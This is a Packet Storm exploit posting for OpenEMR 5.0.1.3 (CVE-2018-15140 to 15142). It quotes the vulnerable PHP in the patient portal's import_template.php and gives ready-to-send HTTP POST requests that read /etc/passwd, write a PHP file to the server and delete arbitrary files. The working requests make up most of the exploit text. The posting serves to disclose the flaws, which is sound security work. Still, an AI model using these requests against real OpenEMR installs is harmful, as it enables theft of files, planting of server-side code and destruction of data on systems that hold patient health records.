exploit the possibilities

OpenEMR 5.0.1.3 File Read / Write / Delete

OpenEMR 5.0.1.3 File Read / Write / Delete
Posted Aug 16, 2018
Authored by Joshua Fam

OpenEMR version 5.0.1.3 suffers from arbitrary file read, write, and delete vulnerabilities.

tags | exploit, arbitrary, vulnerability
advisories | CVE-2018-15140, CVE-2018-15141, CVE-2018-15142
MD5 | 8c5ed52e9a7bf67bc17c83f353a1e80f

OpenEMR 5.0.1.3 File Read / Write / Delete

Change Mirror Download
# Exploit Title: OpenEMR 5.0.1.3 - Arbitrary File Actions  
# Date: 2018-08-14
# Exploit Author: Joshua Fam
# Twitter : @Insecurity
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Version: < 5.0.1.3
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# CVE : CVE-2018-15142,CVE-2018-15141,CVE-2018-15140

# 1.Arbitrary File Read:
# In OpenEmr a user that has access to the portal can send a malcious
# POST request to read arbitrary files.

# i.Vulnerable Code:
# if ($_POST['mode'] == 'get') {
# echo file_get_contents($_POST['docid']);
# exit;
# }

# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

mode=get&docid=/etc/passwd

# 2.Arbitrary File Write:
# In OpenEmr a user that has access to the portal can send a malcious
# POST request to write arbitrary files.

# i. Vulnerable Code:
# } else if ($_POST['mode'] == 'save') {
# file_put_contents($_POST['docid'], $_POST['content']);
# exit(true);
# }

# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

mode=save&docid=payload.php&content=<?php phpinfo();?>

# After sending this navigate to payload.php at http://hostname/openemr/portal

# 3. Arbitrary File Delete:
# In OpenEmr a user that has access to the portal can send a malcious
# POST request to delete a arbitrary file.

# i. Vulnerable Code:
# } else if ($_POST['mode'] == 'delete') {
# unlink($_POST['docid']);
# exit(true);
# }

# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

mode=delete&docid=payload.php

# After completing this request, when you navigate to payload.php, you should be greeted by a 404 page.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close